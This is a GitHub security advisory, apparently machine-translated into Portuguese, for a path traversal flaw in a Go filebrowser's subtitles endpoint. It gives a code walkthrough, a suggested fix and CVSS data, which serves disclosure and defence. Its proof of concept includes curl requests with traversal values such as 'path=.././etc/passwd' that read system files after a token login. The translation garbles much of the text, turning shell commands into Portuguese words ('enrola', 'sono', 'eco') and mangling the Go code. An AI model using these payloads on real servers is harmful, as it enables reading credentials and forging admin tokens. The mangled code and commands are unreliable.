O endpoint `Handler` (`GET /api/media/subtitles`) aceita dois parâmetros de consulta controlados pelo usuário: `path` e `name', ambos usados nas operações do sistema de arquivos sem desinfectação, criando dois vetores de trajeto de passagem independentes. O vetor primário é o parâmetro `path`: ele é passado diretamente para `idx.GetRealPath()` sem chamar `SanitizeUserPath()`, permitindo que um atacante escape da raiz de armazenamento e defina `parentDir' para qualquer diretório do hospedeiro. Não é necessário nenhum arquivo de âncora existente. O vetor secundário é o parâmetro `name`: ele é associado com `parentDir` via `filepath.Join(parentDir, name)` sem desmontar componentes do diretório, permitindo a travessia em relação a qualquer `parentDir' resolvido. Qualquer usuário autenticado (independentemente do papel ou permissões) pode explorar qualquer vetor para ler qualquer arquivo de texto legível pelo processo do servidor, incluindo `/etc/passwd`, chaves SSH, credenciais de banco de dados e chaves de assinatura JWT.

** 1. o parâmetro `path` carece de `SanitizeUserPath()` — vetor primário (`http/media.go: 54 `)** ``` go userscope, err:= d.user.GetScopeForSourceName(source) //... realPath, _, err:= idx.GetRealPath(userscope, path) // path é entrada de usuário bruto, sem sanidade //... paiDir:= filepath.Dir(realPath) // line 59: atacante controla este diretório ``` ` SanitizeUserPath()` rejeita explicitamente os segmentos `..'. ```` go func SanitizePath(userPath string) (string, error) { //... for _, segment:= range segments { se segmentar == ".." { retorna "", fmt.Errorf("invalid path: path traversal deteted") } } } //... } ````.

Todos os outros manipuladores na base de códigos chamam `SanitizeUserPath()` antes de `GetRealPath()`. Este manipulador o ignora, por isso `path=.././etc/passwd` resolve `parentDir` para `/etc`, sem o arquivo de âncora necessário. ** 2. Parâmetro `name` usado diretamente no `filepath.Join` — vetor secundário (`http/media.go: 63 `)** ```` go name:= r.URL.Query().Get("nome") // line 37 — entrada de usuário bruto //... conteúdo, err = utils.GetSubtitleSidecarContent( filepath.Join(parentDir, name)) // linha 63 — VIAJE ``.

`filepath.Join(parentDir, ".././etc/passwd")` resolve os componentes `..', escapando de `parentDir`. Este vetor requer um arquivo válido no âmbito como a âncora `path`. ** 3. `GetSubtitleSidecarContent` lê e retorna o conteúdo do arquivo (`common/utils/media.go: 17 - 43 `)** ```go func GetSubtitleSidecarContent(subtitlePath string) (string, error) { informação, err:= os.Stat(subtitlePath) // segue a verificação do caminho // tamanho: < 50 MB isText, err:= IsTextFile(subtitlePath) // verifica UTF- 8 conteúdo de validade, err:= os.ReadFile(subtitlePath) // lê e devolve a string de retorno de conteúdo (conteúdo), nulo } ```.

A única limitação é que o arquivo alvo deve ser UTF- 8 válido e abaixo 50 MB. Os arquivos binários retornam silenciosamente uma string vazia. ** 4. O ponto final está por trás de `withUser`, mas não requer permissões especiais** ``` go // httpRouter.go api.HandleFunc("GET /media/ legendas", com oUser( legendasHandler)) ``. Qualquer usuário autenticado pode acessar este objetivo: não é necessária permissão de administrador, modificar, compartilhar ou baixar.

** Vector 1: `path` transversal (não é necessário um arquivo de âncora):**. ```` docker de bash executar -d -- nome do arquivo navegador-q-lab -p 18080: 80 gtstef/filebrowser: mais tarde & & & sono 3 TOKEN=$(curl -s -X POST " 18080 /api/auth/login?username=admin" -H "X-Password: admin". tr -d '") enrola " 18080 /api/media/subtitles?path=.././etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN" ``` **Saída esperada:** `/etc/passwd` conteúdo com HTTP 200. ** Vector 2: `name` transversal (anchor file obrigatory):**. ``` bash mkdir -p /tmp/fbq-srv && eco "dummy" > /tmp/fbq-srv/poc.txt docker run -d --name filebrowser-q-lab 2 - p 18081: 80 -v /tmp/fbq- srv:/srv gtstef/filebrowser: mais tardio & && sono 3 TOKEN=$(curl -s -X POST " 18081 /api/auth/login?username=admin" -H "X-Password: admin". tr -d '") enrola " 18081 /api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN" ``` **Saída esperada:** `/etc/passwd` conteúdo com HTTP 200. - **Arbitrar arquivo lido**: Qualquer usuário autentificado pode ler qualquer arquivo de texto no sistema de arquivos host para o qual o processo do servidor tenha lido permissão. - **Nenhum arquivo de ancoragem necessário**: O vetor `path` funciona em uma instalação padrão com uma raiz de armazenamento vazia, por isso não é necessário nenhum arquivo existente no âmbito. - **Contour de alcance**: Os usuários escopados (restritos a um subdiretório) podem escapar de seu escopo através de arquivos de vetor e acesso pertencentes a outros usuários ou ao sistema host. - **Exposição credencial**: `/etc/passwd`, `/etc/shadow` (se executar como raiz), chaves privadas SSH, arquivos de configuração de aplicativos com senhas de banco de dados, chaves API e segredos de assinatura JWT. - **Escalada privilegiada**: Lendo a chave de assinatura JWT do banco de dados ou arquivo de configuração permite forjar tokens de administrador. - **Nenhuma permissão especial necessária**: O objetivo requer apenas autenticação básica: nenhum permissão de administrador, modificar, compartilhar ou baixar.

Aplicar `SanitizeUserPath()` ao parâmetro `path` e `filepath.Base()` ao parâmetro `name`. ``` go // http/ media.go, legendasMandler // Parâmetro de caminho de saneamento (como todos os outros manipuladores), caminho de erro:= utils.SaniteizeUserPath(path) se err!= nul { retorna http. StatusBadRequest, err } // Tirar os componentes da pasta do nome para evitar o nome transversal = caminho de arquivo.Base(name) ```.

` SanitizeUserPath()` rejeita qualquer segmento `..'. `filepath.Base(..././etc/passwd")` retorna `"passwd"`, evitando atravessar via `name'. Além disso, considere adicionar uma lista de extensão de arquivos para restringir `name` aos formatos de legendas (`.srt`, `.vtt`, `.ass`, `.ssa`, `.sub`) apenas. Registro de aconselhamento: GHSA-vvp 7 - h 4 fj- m 28 w. Identificadores relacionados: CVE- 2026 - 54910. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 31 T 22: 35: 05.000 Z e lista a sua última modificação como 2026 - 07 - 31 T 22: 35: 05.000 Z.

Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N. Informações sobre software e versão afetadas: Vá no pacote github.com/gtsteffaniak/filebrowser/backend — ECOSYSTEM: introduzido 0, corrigido 0.0.0 - 20260608182036 - f 3 f 4 bb 80 cb 5. Classificação e evidência: identificadores de fraqueza CWE- 22, CWE- 23. O registro contém 6 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.